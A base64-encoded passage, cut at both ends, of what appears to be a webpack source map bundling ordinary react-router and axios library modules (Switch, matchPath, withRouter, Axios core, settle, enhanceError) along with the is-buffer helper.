HNob3VsZCBub3QgY2hhbmdlIGZyb20gdW5jb250cm9sbGVkIHRvIGNvbnRyb2xsZWQgKG9yIHZpY2UgdmVyc2EpLiBZb3UgaW5pdGlhbGx5IHVzZWQgbm8gXCJsb2NhdGlvblwiIHByb3AgYW5kIHRoZW4gcHJvdmlkZWQgb25lIG9uIGEgc3Vic2VxdWVudCByZW5kZXIuJyk7XG5cbiAgICB3YXJuaW5nKCEoIW5leHRQcm9wcy5sb2NhdGlvbiAmJiB0aGlzLnByb3BzLmxvY2F0aW9uKSwgJzxTd2l0Y2g+IGVsZW1lbnRzIHNob3VsZCBub3QgY2hhbmdlIGZyb20gY29udHJvbGxlZCB0byB1bmNvbnRyb2xsZWQgKG9yIHZpY2UgdmVyc2EpLiBZb3UgcHJvdmlkZWQgYSBcImxvY2F0aW9uXCIgcHJvcCBpbml0aWFsbHkgYnV0IG9taXR0ZWQgaXQgb24gYSBzdWJzZXF1ZW50IHJlbmRlci4nKTtcbiAgfTtcblxuICBTd2l0Y2gucHJvdG90eXBlLnJlbmRlciA9IGZ1bmN0aW9uIHJlbmRlcigpIHtcbiAgICB2YXIgcm91dGUgPSB0aGlzLmNvbnRleHQucm91dGVyLnJvdXRlO1xuICAgIHZhciBjaGlsZHJlbiA9IHRoaXMucHJvcHMuY2hpbGRyZW47XG5cbiAgICB2YXIgbG9jYXRpb24gPSB0aGlzLnByb3BzLmxvY2F0aW9uIHx8IHJvdXRlLmxvY2F0aW9uO1xuXG4gICAgdmFyIG1hdGNoID0gdm9pZCAwLFxuICAgICAgICBjaGlsZCA9IHZvaWQgMDtcbiAgICBSZWFjdC5DaGlsZHJlbi5mb3JFYWNoKGNoaWxkcmVuLCBmdW5jdGlvbiAoZWxlbWVudCkge1xuICAgICAgaWYgKG1hdGNoID09IG51bGwgJiYgUmVhY3QuaXNWYWxpZEVsZW1lbnQoZWxlbWVudCkpIHtcbiAgICAgICAgdmFyIF9lbGVtZW50JHByb3BzID0gZWxlbWVudC5wcm9wcyxcbiAgICAgICAgICAgIHBhdGhQcm9wID0gX2VsZW1lbnQkcHJvcHMucGF0aCxcbiAgICAgICAgICAgIGV4YWN0ID0gX2VsZW1lbnQkcHJvcHMuZXhhY3QsXG4gICAgICAgICAgICBzdHJpY3QgPSBfZWxlbWVudCRwcm9wcy5zdHJpY3QsXG4gICAgICAgICAgICBzZW5zaXRpdmUgPSBfZWxlbWVudCRwcm9wcy5zZW5zaXRpdmUsXG4gICAgICAgICAgICBmcm9tID0gX2VsZW1lbnQkcHJvcHMuZnJvbTtcblxuICAgICAgICB2YXIgcGF0aCA9IHBhdGhQcm9wIHx8IGZyb207XG5cbiAgICAgICAgY2hpbGQgPSBlbGVtZW50O1xuICAgICAgICBtYXRjaCA9IG1hdGNoUGF0aChsb2NhdGlvbi5wYXRobmFtZSwgeyBwYXRoOiBwYXRoLCBleGFjdDogZXhhY3QsIHN0cmljdDogc3RyaWN0LCBzZW5zaXRpdmU6IHNlbnNpdGl2ZSB9LCByb3V0ZS5tYXRjaCk7XG4gICAgICB9XG4gICAgfSk7XG5cbiAgICByZXR1cm4gbWF0Y2ggPyBSZWFjdC5jbG9uZUVsZW1lbnQoY2hpbGQsIHsgbG9jYXRpb246IGxvY2F0aW9uLCBjb21wdXRlZE1hdGNoOiBtYXRjaCB9KSA6IG51bGw7XG4gIH07XG5cbiAgcmV0dXJuIFN3aXRjaDtcbn0oUmVhY3QuQ29tcG9uZW50KTtcblxuU3dpdGNoLmNvbnRleHRUeXBlcyA9IHtcbiAgcm91dGVyOiBQcm9wVHlwZXMuc2hhcGUoe1xuICAgIHJvdXRlOiBQcm9wVHlwZXMub2JqZWN0LmlzUmVxdWlyZWRcbiAgfSkuaXNSZXF1aXJlZFxufTtcblN3aXRjaC5wcm9wVHlwZXMgPSB7XG4gIGNoaWxkcmVuOiBQcm9wVHlwZXMubm9kZSxcbiAgbG9jYXRpb246IFByb3BUeXBlcy5vYmplY3Rcbn07XG5cblxuZXhwb3J0IGRlZmF1bHQgU3dpdGNoO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci9lcy9Td2l0Y2guanNcbi8vIG1vZHVsZSBpZCA9IDE1N1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8vIFdyaXR0ZW4gaW4gdGhpcyByb3VuZCBhYm91dCB3YXkgZm9yIGJhYmVsLXRyYW5zZm9ybS1pbXBvcnRzXG5pbXBvcnQgZ2VuZXJhdGVQYXRoIGZyb20gXCJyZWFjdC1yb3V0ZXIvZXMvZ2VuZXJhdGVQYXRoXCI7XG5cbmV4cG9ydCBkZWZhdWx0IGdlbmVyYXRlUGF0aDtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL2dlbmVyYXRlUGF0aC5qc1xuLy8gbW9kdWxlIGlkID0gMTU4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiLy8gV3JpdHRlbiBpbiB0aGlzIHJvdW5kIGFib3V0IHdheSBmb3IgYmFiZWwtdHJhbnNmb3JtLWltcG9ydHNcbmltcG9ydCBtYXRjaFBhdGggZnJvbSBcInJlYWN0LXJvdXRlci9lcy9tYXRjaFBhdGhcIjtcblxuZXhwb3J0IGRlZmF1bHQgbWF0Y2hQYXRoO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci1kb20vZXMvbWF0Y2hQYXRoLmpzXG4vLyBtb2R1bGUgaWQgPSAxNTlcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIvLyBXcml0dGVuIGluIHRoaXMgcm91bmQgYWJvdXQgd2F5IGZvciBiYWJlbC10cmFuc2Zvcm0taW1wb3J0c1xuaW1wb3J0IHdpdGhSb3V0ZXIgZnJvbSBcInJlYWN0LXJvdXRlci9lcy93aXRoUm91dGVyXCI7XG5cbmV4cG9ydCBkZWZhdWx0IHdpdGhSb3V0ZXI7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyLWRvbS9lcy93aXRoUm91dGVyLmpzXG4vLyBtb2R1bGUgaWQgPSAxNjBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG5mdW5jdGlvbiBfb2JqZWN0V2l0aG91dFByb3BlcnRpZXMob2JqLCBrZXlzKSB7IHZhciB0YXJnZXQgPSB7fTsgZm9yICh2YXIgaSBpbiBvYmopIHsgaWYgKGtleXMuaW5kZXhPZihpKSA+PSAwKSBjb250aW51ZTsgaWYgKCFPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwob2JqLCBpKSkgY29udGludWU7IHRhcmdldFtpXSA9IG9ialtpXTsgfSByZXR1cm4gdGFyZ2V0OyB9XG5cbmltcG9ydCBSZWFjdCBmcm9tIFwicmVhY3RcIjtcbmltcG9ydCBQcm9wVHlwZXMgZnJvbSBcInByb3AtdHlwZXNcIjtcbmltcG9ydCBob2lzdFN0YXRpY3MgZnJvbSBcImhvaXN0LW5vbi1yZWFjdC1zdGF0aWNzXCI7XG5pbXBvcnQgUm91dGUgZnJvbSBcIi4vUm91dGVcIjtcblxuLyoqXG4gKiBBIHB1YmxpYyBoaWdoZXItb3JkZXIgY29tcG9uZW50IHRvIGFjY2VzcyB0aGUgaW1wZXJhdGl2ZSBBUElcbiAqL1xudmFyIHdpdGhSb3V0ZXIgPSBmdW5jdGlvbiB3aXRoUm91dGVyKENvbXBvbmVudCkge1xuICB2YXIgQyA9IGZ1bmN0aW9uIEMocHJvcHMpIHtcbiAgICB2YXIgd3JhcHBlZENvbXBvbmVudFJlZiA9IHByb3BzLndyYXBwZWRDb21wb25lbnRSZWYsXG4gICAgICAgIHJlbWFpbmluZ1Byb3BzID0gX29iamVjdFdpdGhvdXRQcm9wZXJ0aWVzKHByb3BzLCBbXCJ3cmFwcGVkQ29tcG9uZW50UmVmXCJdKTtcblxuICAgIHJldHVybiBSZWFjdC5jcmVhdGVFbGVtZW50KFJvdXRlLCB7XG4gICAgICBjaGlsZHJlbjogZnVuY3Rpb24gY2hpbGRyZW4ocm91dGVDb21wb25lbnRQcm9wcykge1xuICAgICAgICByZXR1cm4gUmVhY3QuY3JlYXRlRWxlbWVudChDb21wb25lbnQsIF9leHRlbmRzKHt9LCByZW1haW5pbmdQcm9wcywgcm91dGVDb21wb25lbnRQcm9wcywge1xuICAgICAgICAgIHJlZjogd3JhcHBlZENvbXBvbmVudFJlZlxuICAgICAgICB9KSk7XG4gICAgICB9XG4gICAgfSk7XG4gIH07XG5cbiAgQy5kaXNwbGF5TmFtZSA9IFwid2l0aFJvdXRlcihcIiArIChDb21wb25lbnQuZGlzcGxheU5hbWUgfHwgQ29tcG9uZW50Lm5hbWUpICsgXCIpXCI7XG4gIEMuV3JhcHBlZENvbXBvbmVudCA9IENvbXBvbmVudDtcbiAgQy5wcm9wVHlwZXMgPSB7XG4gICAgd3JhcHBlZENvbXBvbmVudFJlZjogUHJvcFR5cGVzLmZ1bmNcbiAgfTtcblxuICByZXR1cm4gaG9pc3RTdGF0aWNzKEMsIENvbXBvbmVudCk7XG59O1xuXG5leHBvcnQgZGVmYXVsdCB3aXRoUm91dGVyO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci9lcy93aXRoUm91dGVyLmpzXG4vLyBtb2R1bGUgaWQgPSAxNjFcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciB1dGlscyA9IHJlcXVpcmUoJy4vdXRpbHMnKTtcbnZhciBiaW5kID0gcmVxdWlyZSgnLi9oZWxwZXJzL2JpbmQnKTtcbnZhciBBeGlvcyA9IHJlcXVpcmUoJy4vY29yZS9BeGlvcycpO1xudmFyIGRlZmF1bHRzID0gcmVxdWlyZSgnLi9kZWZhdWx0cycpO1xuXG4vKipcbiAqIENyZWF0ZSBhbiBpbnN0YW5jZSBvZiBBeGlvc1xuICpcbiAqIEBwYXJhbSB7T2JqZWN0fSBkZWZhdWx0Q29uZmlnIFRoZSBkZWZhdWx0IGNvbmZpZyBmb3IgdGhlIGluc3RhbmNlXG4gKiBAcmV0dXJuIHtBeGlvc30gQSBuZXcgaW5zdGFuY2Ugb2YgQXhpb3NcbiAqL1xuZnVuY3Rpb24gY3JlYXRlSW5zdGFuY2UoZGVmYXVsdENvbmZpZykge1xuICB2YXIgY29udGV4dCA9IG5ldyBBeGlvcyhkZWZhdWx0Q29uZmlnKTtcbiAgdmFyIGluc3RhbmNlID0gYmluZChBeGlvcy5wcm90b3R5cGUucmVxdWVzdCwgY29udGV4dCk7XG5cbiAgLy8gQ29weSBheGlvcy5wcm90b3R5cGUgdG8gaW5zdGFuY2VcbiAgdXRpbHMuZXh0ZW5kKGluc3RhbmNlLCBBeGlvcy5wcm90b3R5cGUsIGNvbnRleHQpO1xuXG4gIC8vIENvcHkgY29udGV4dCB0byBpbnN0YW5jZVxuICB1dGlscy5leHRlbmQoaW5zdGFuY2UsIGNvbnRleHQpO1xuXG4gIHJldHVybiBpbnN0YW5jZTtcbn1cblxuLy8gQ3JlYXRlIHRoZSBkZWZhdWx0IGluc3RhbmNlIHRvIGJlIGV4cG9ydGVkXG52YXIgYXhpb3MgPSBjcmVhdGVJbnN0YW5jZShkZWZhdWx0cyk7XG5cbi8vIEV4cG9zZSBBeGlvcyBjbGFzcyB0byBhbGxvdyBjbGFzcyBpbmhlcml0YW5jZVxuYXhpb3MuQXhpb3MgPSBBeGlvcztcblxuLy8gRmFjdG9yeSBmb3IgY3JlYXRpbmcgbmV3IGluc3RhbmNlc1xuYXhpb3MuY3JlYXRlID0gZnVuY3Rpb24gY3JlYXRlKGluc3RhbmNlQ29uZmlnKSB7XG4gIHJldHVybiBjcmVhdGVJbnN0YW5jZSh1dGlscy5tZXJnZShkZWZhdWx0cywgaW5zdGFuY2VDb25maWcpKTtcbn07XG5cbi8vIEV4cG9zZSBDYW5jZWwgJiBDYW5jZWxUb2tlblxuYXhpb3MuQ2FuY2VsID0gcmVxdWlyZSgnLi9jYW5jZWwvQ2FuY2VsJyk7XG5heGlvcy5DYW5jZWxUb2tlbiA9IHJlcXVpcmUoJy4vY2FuY2VsL0NhbmNlbFRva2VuJyk7XG5heGlvcy5pc0NhbmNlbCA9IHJlcXVpcmUoJy4vY2FuY2VsL2lzQ2FuY2VsJyk7XG5cbi8vIEV4cG9zZSBhbGwvc3ByZWFkXG5heGlvcy5hbGwgPSBmdW5jdGlvbiBhbGwocHJvbWlzZXMpIHtcbiAgcmV0dXJuIFByb21pc2UuYWxsKHByb21pc2VzKTtcbn07XG5heGlvcy5zcHJlYWQgPSByZXF1aXJlKCcuL2hlbHBlcnMvc3ByZWFkJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gYXhpb3M7XG5cbi8vIEFsbG93IHVzZSBvZiBkZWZhdWx0IGltcG9ydCBzeW50YXggaW4gVHlwZVNjcmlwdFxubW9kdWxlLmV4cG9ydHMuZGVmYXVsdCA9IGF4aW9zO1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2F4aW9zLmpzXG4vLyBtb2R1bGUgaWQgPSAxNjJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIvKiFcbiAqIERldGVybWluZSBpZiBhbiBvYmplY3QgaXMgYSBCdWZmZXJcbiAqXG4gKiBAYXV0aG9yICAgRmVyb3NzIEFib3VraGFkaWplaCA8aHR0cHM6Ly9mZXJvc3Mub3JnPlxuICogQGxpY2Vuc2UgIE1JVFxuICovXG5cbi8vIFRoZSBfaXNCdWZmZXIgY2hlY2sgaXMgZm9yIFNhZmFyaSA1LTcgc3VwcG9ydCwgYmVjYXVzZSBpdCdzIG1pc3Npbmdcbi8vIE9iamVjdC5wcm90b3R5cGUuY29uc3RydWN0b3IuIFJlbW92ZSB0aGlzIGV2ZW50dWFsbHlcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKG9iaikge1xuICByZXR1cm4gb2JqICE9IG51bGwgJiYgKGlzQnVmZmVyKG9iaikgfHwgaXNTbG93QnVmZmVyKG9iaikgfHwgISFvYmouX2lzQnVmZmVyKVxufVxuXG5mdW5jdGlvbiBpc0J1ZmZlciAob2JqKSB7XG4gIHJldHVybiAhIW9iai5jb25zdHJ1Y3RvciAmJiB0eXBlb2Ygb2JqLmNvbnN0cnVjdG9yLmlzQnVmZmVyID09PSAnZnVuY3Rpb24nICYmIG9iai5jb25zdHJ1Y3Rvci5pc0J1ZmZlcihvYmopXG59XG5cbi8vIEZvciBOb2RlIHYwLjEwIHN1cHBvcnQuIFJlbW92ZSB0aGlzIGV2ZW50dWFsbHkuXG5mdW5jdGlvbiBpc1Nsb3dCdWZmZXIgKG9iaikge1xuICByZXR1cm4gdHlwZW9mIG9iai5yZWFkRmxvYXRMRSA9PT0gJ2Z1bmN0aW9uJyAmJiB0eXBlb2Ygb2JqLnNsaWNlID09PSAnZnVuY3Rpb24nICYmIGlzQnVmZmVyKG9iai5zbGljZSgwLCAwKSlcbn1cblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2lzLWJ1ZmZlci9pbmRleC5qc1xuLy8gbW9kdWxlIGlkID0gMTYzXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG52YXIgZGVmYXVsdHMgPSByZXF1aXJlKCcuLy4uL2RlZmF1bHRzJyk7XG52YXIgdXRpbHMgPSByZXF1aXJlKCcuLy4uL3V0aWxzJyk7XG52YXIgSW50ZXJjZXB0b3JNYW5hZ2VyID0gcmVxdWlyZSgnLi9JbnRlcmNlcHRvck1hbmFnZXInKTtcbnZhciBkaXNwYXRjaFJlcXVlc3QgPSByZXF1aXJlKCcuL2Rpc3BhdGNoUmVxdWVzdCcpO1xuXG4vKipcbiAqIENyZWF0ZSBhIG5ldyBpbnN0YW5jZSBvZiBBeGlvc1xuICpcbiAqIEBwYXJhbSB7T2JqZWN0fSBpbnN0YW5jZUNvbmZpZyBUaGUgZGVmYXVsdCBjb25maWcgZm9yIHRoZSBpbnN0YW5jZVxuICovXG5mdW5jdGlvbiBBeGlvcyhpbnN0YW5jZUNvbmZpZykge1xuICB0aGlzLmRlZmF1bHRzID0gaW5zdGFuY2VDb25maWc7XG4gIHRoaXMuaW50ZXJjZXB0b3JzID0ge1xuICAgIHJlcXVlc3Q6IG5ldyBJbnRlcmNlcHRvck1hbmFnZXIoKSxcbiAgICByZXNwb25zZTogbmV3IEludGVyY2VwdG9yTWFuYWdlcigpXG4gIH07XG59XG5cbi8qKlxuICogRGlzcGF0Y2ggYSByZXF1ZXN0XG4gKlxuICogQHBhcmFtIHtPYmplY3R9IGNvbmZpZyBUaGUgY29uZmlnIHNwZWNpZmljIGZvciB0aGlzIHJlcXVlc3QgKG1lcmdlZCB3aXRoIHRoaXMuZGVmYXVsdHMpXG4gKi9cbkF4aW9zLnByb3RvdHlwZS5yZXF1ZXN0ID0gZnVuY3Rpb24gcmVxdWVzdChjb25maWcpIHtcbiAgLyplc2xpbnQgbm8tcGFyYW0tcmVhc3NpZ246MCovXG4gIC8vIEFsbG93IGZvciBheGlvcygnZXhhbXBsZS91cmwnWywgY29uZmlnXSkgYSBsYSBmZXRjaCBBUElcbiAgaWYgKHR5cGVvZiBjb25maWcgPT09ICdzdHJpbmcnKSB7XG4gICAgY29uZmlnID0gdXRpbHMubWVyZ2Uoe1xuICAgICAgdXJsOiBhcmd1bWVudHNbMF1cbiAgICB9LCBhcmd1bWVudHNbMV0pO1xuICB9XG5cbiAgY29uZmlnID0gdXRpbHMubWVyZ2UoZGVmYXVsdHMsIHttZXRob2Q6ICdnZXQnfSwgdGhpcy5kZWZhdWx0cywgY29uZmlnKTtcbiAgY29uZmlnLm1ldGhvZCA9IGNvbmZpZy5tZXRob2QudG9Mb3dlckNhc2UoKTtcblxuICAvLyBIb29rIHVwIGludGVyY2VwdG9ycyBtaWRkbGV3YXJlXG4gIHZhciBjaGFpbiA9IFtkaXNwYXRjaFJlcXVlc3QsIHVuZGVmaW5lZF07XG4gIHZhciBwcm9taXNlID0gUHJvbWlzZS5yZXNvbHZlKGNvbmZpZyk7XG5cbiAgdGhpcy5pbnRlcmNlcHRvcnMucmVxdWVzdC5mb3JFYWNoKGZ1bmN0aW9uIHVuc2hpZnRSZXF1ZXN0SW50ZXJjZXB0b3JzKGludGVyY2VwdG9yKSB7XG4gICAgY2hhaW4udW5zaGlmdChpbnRlcmNlcHRvci5mdWxmaWxsZWQsIGludGVyY2VwdG9yLnJlamVjdGVkKTtcbiAgfSk7XG5cbiAgdGhpcy5pbnRlcmNlcHRvcnMucmVzcG9uc2UuZm9yRWFjaChmdW5jdGlvbiBwdXNoUmVzcG9uc2VJbnRlcmNlcHRvcnMoaW50ZXJjZXB0b3IpIHtcbiAgICBjaGFpbi5wdXNoKGludGVyY2VwdG9yLmZ1bGZpbGxlZCwgaW50ZXJjZXB0b3IucmVqZWN0ZWQpO1xuICB9KTtcblxuICB3aGlsZSAoY2hhaW4ubGVuZ3RoKSB7XG4gICAgcHJvbWlzZSA9IHByb21pc2UudGhlbihjaGFpbi5zaGlmdCgpLCBjaGFpbi5zaGlmdCgpKTtcbiAgfVxuXG4gIHJldHVybiBwcm9taXNlO1xufTtcblxuLy8gUHJvdmlkZSBhbGlhc2VzIGZvciBzdXBwb3J0ZWQgcmVxdWVzdCBtZXRob2RzXG51dGlscy5mb3JFYWNoKFsnZGVsZXRlJywgJ2dldCcsICdoZWFkJywgJ29wdGlvbnMnXSwgZnVuY3Rpb24gZm9yRWFjaE1ldGhvZE5vRGF0YShtZXRob2QpIHtcbiAgLyplc2xpbnQgZnVuYy1uYW1lczowKi9cbiAgQXhpb3MucHJvdG90eXBlW21ldGhvZF0gPSBmdW5jdGlvbih1cmwsIGNvbmZpZykge1xuICAgIHJldHVybiB0aGlzLnJlcXVlc3QodXRpbHMubWVyZ2UoY29uZmlnIHx8IHt9LCB7XG4gICAgICBtZXRob2Q6IG1ldGhvZCxcbiAgICAgIHVybDogdXJsXG4gICAgfSkpO1xuICB9O1xufSk7XG5cbnV0aWxzLmZvckVhY2goWydwb3N0JywgJ3B1dCcsICdwYXRjaCddLCBmdW5jdGlvbiBmb3JFYWNoTWV0aG9kV2l0aERhdGEobWV0aG9kKSB7XG4gIC8qZXNsaW50IGZ1bmMtbmFtZXM6MCovXG4gIEF4aW9zLnByb3RvdHlwZVttZXRob2RdID0gZnVuY3Rpb24odXJsLCBkYXRhLCBjb25maWcpIHtcbiAgICByZXR1cm4gdGhpcy5yZXF1ZXN0KHV0aWxzLm1lcmdlKGNvbmZpZyB8fCB7fSwge1xuICAgICAgbWV0aG9kOiBtZXRob2QsXG4gICAgICB1cmw6IHVybCxcbiAgICAgIGRhdGE6IGRhdGFcbiAgICB9KSk7XG4gIH07XG59KTtcblxubW9kdWxlLmV4cG9ydHMgPSBBeGlvcztcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9jb3JlL0F4aW9zLmpzXG4vLyBtb2R1bGUgaWQgPSAxNjRcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciB1dGlscyA9IHJlcXVpcmUoJy4uL3V0aWxzJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gbm9ybWFsaXplSGVhZGVyTmFtZShoZWFkZXJzLCBub3JtYWxpemVkTmFtZSkge1xuICB1dGlscy5mb3JFYWNoKGhlYWRlcnMsIGZ1bmN0aW9uIHByb2Nlc3NIZWFkZXIodmFsdWUsIG5hbWUpIHtcbiAgICBpZiAobmFtZSAhPT0gbm9ybWFsaXplZE5hbWUgJiYgbmFtZS50b1VwcGVyQ2FzZSgpID09PSBub3JtYWxpemVkTmFtZS50b1VwcGVyQ2FzZSgpKSB7XG4gICAgICBoZWFkZXJzW25vcm1hbGl6ZWROYW1lXSA9IHZhbHVlO1xuICAgICAgZGVsZXRlIGhlYWRlcnNbbmFtZV07XG4gICAgfVxuICB9KTtcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9heGlvcy9saWIvaGVscGVycy9ub3JtYWxpemVIZWFkZXJOYW1lLmpzXG4vLyBtb2R1bGUgaWQgPSAxNjVcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciBjcmVhdGVFcnJvciA9IHJlcXVpcmUoJy4vY3JlYXRlRXJyb3InKTtcblxuLyoqXG4gKiBSZXNvbHZlIG9yIHJlamVjdCBhIFByb21pc2UgYmFzZWQgb24gcmVzcG9uc2Ugc3RhdHVzLlxuICpcbiAqIEBwYXJhbSB7RnVuY3Rpb259IHJlc29sdmUgQSBmdW5jdGlvbiB0aGF0IHJlc29sdmVzIHRoZSBwcm9taXNlLlxuICogQHBhcmFtIHtGdW5jdGlvbn0gcmVqZWN0IEEgZnVuY3Rpb24gdGhhdCByZWplY3RzIHRoZSBwcm9taXNlLlxuICogQHBhcmFtIHtvYmplY3R9IHJlc3BvbnNlIFRoZSByZXNwb25zZS5cbiAqL1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiBzZXR0bGUocmVzb2x2ZSwgcmVqZWN0LCByZXNwb25zZSkge1xuICB2YXIgdmFsaWRhdGVTdGF0dXMgPSByZXNwb25zZS5jb25maWcudmFsaWRhdGVTdGF0dXM7XG4gIC8vIE5vdGU6IHN0YXR1cyBpcyBub3QgZXhwb3NlZCBieSBYRG9tYWluUmVxdWVzdFxuICBpZiAoIXJlc3BvbnNlLnN0YXR1cyB8fCAhdmFsaWRhdGVTdGF0dXMgfHwgdmFsaWRhdGVTdGF0dXMocmVzcG9uc2Uuc3RhdHVzKSkge1xuICAgIHJlc29sdmUocmVzcG9uc2UpO1xuICB9IGVsc2Uge1xuICAgIHJlamVjdChjcmVhdGVFcnJvcihcbiAgICAgICdSZXF1ZXN0IGZhaWxlZCB3aXRoIHN0YXR1cyBjb2RlICcgKyByZXNwb25zZS5zdGF0dXMsXG4gICAgICByZXNwb25zZS5jb25maWcsXG4gICAgICBudWxsLFxuICAgICAgcmVzcG9uc2UucmVxdWVzdCxcbiAgICAgIHJlc3BvbnNlXG4gICAgKSk7XG4gIH1cbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9heGlvcy9saWIvY29yZS9zZXR0bGUuanNcbi8vIG1vZHVsZSBpZCA9IDE2NlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxuLyoqXG4gKiBVcGRhdGUgYW4gRXJyb3Igd2l0aCB0aGUgc3BlY2lmaWVkIGNvbmZpZywgZXJyb3IgY29kZSwgYW5kIHJlc3BvbnNlLlxuICpcbiAqIEBwYXJhbSB7RXJyb3J9IGVycm9yIFRoZSBlcnJvciB0byB1cGRhdGUuXG4gKiBAcGFyYW0ge09iamVjdH0gY29uZmlnIFRoZSBjb25maWcuXG4gKiBAcGFyYW0ge3N0cmluZ30gW2NvZGVdIFRoZSBlcnJvciBjb2RlIChmb3IgZXhhbXBsZSwgJ0VDT05OQUJPUlRFRCcpLlxuICogQHBhcmFtIHtPYmplY3R9IFtyZXF1ZXN0XSBUaGUgcmVxdWVzdC5cbiAqIEBwYXJhbSB7T2JqZWN0fSBbcmVzcG9uc2VdIFRoZSByZXNwb25zZS5cbiAqIEByZXR1cm5zIHtFcnJvcn0gVGhlIGVycm9yLlxuICovXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIGVuaGFuY2VFcnJvcihlcnJvciwgY29uZmlnLCBjb2RlLCByZXF1ZXN0LCByZXNwb25zZSkge1xuICBlcnJvci5jb25maWcgPSBjb25maWc7XG4gIGlmIChjb2RlKSB7XG4gICAgZXJyb3IuY29kZSA9IGNvZGU7XG4gIH1cbiAgZXJyb3IucmVxdWVzdCA9IHJlcXVlc3Q7XG4gIGVycm9yLnJlc3BvbnNlID0gcmVzcG9uc2U7XG4gIHJldHVybiBlcnJvcjtcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9heGlvcy9saWIvY29yZS9lbmhhbmNlRXJyb3IuanNcbi8vIG1vZHVsZSBpZCA9IDE2N1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxudmFyIHV0aWxzID0gcmVxdWlyZSgnLi8uLi91dGlscycpO1xuXG5mdW5jdGlvbiBlbmNvZGUodmFsKSB7XG4gIHJldHVybiBlbmNvZGVVUklDb21wb25lbnQodmFsKS5cbiAgICByZXBsYWNlKC8lNDAvZ2ksICdAJykuXG4gICAgcmVwbGFjZSgvJTNBL2dpLCAnOicpLlxuICAgIHJlcGxhY2UoLyUyNC9nLCAnJCcpLlxuICAgIHJlcGxhY2UoLyUyQy9naSwgJywnKS5cbiAgICByZXBsYWNlKC8lMjAvZywgJysnKS5cbiAgICByZXBsYWNlKC8lNUIvZ2ksICdbJykuXG4gICAgcmVwbGFjZSgvJTVEL2dpLCAnXScpO1xufVxuXG4vKipcbiAqIEJ1aWxkIGEgVVJMIGJ5IGFwcGVuZGluZyBwYXJhbXMgdG8gdGhlIGVuZFxuICpcbiAqIEBwYXJhbSB7c3RyaW5nfSB1cmwgVGhlIGJhc2Ugb2YgdGhlIHVybCAoZS5nLiwgaHR0cDovL3d3dy5nb29nbGUuY29tKVxuICogQHBhcmFtIHtvYmplY3R9IFtwYXJhbXNdIFRoZSBwYXJhbXMgdG8gYmUgYXBwZW5kZWRcbiAqIEByZXR1cm5zIHtzdHJpbmd9IFRoZSBmb3JtYXR0ZW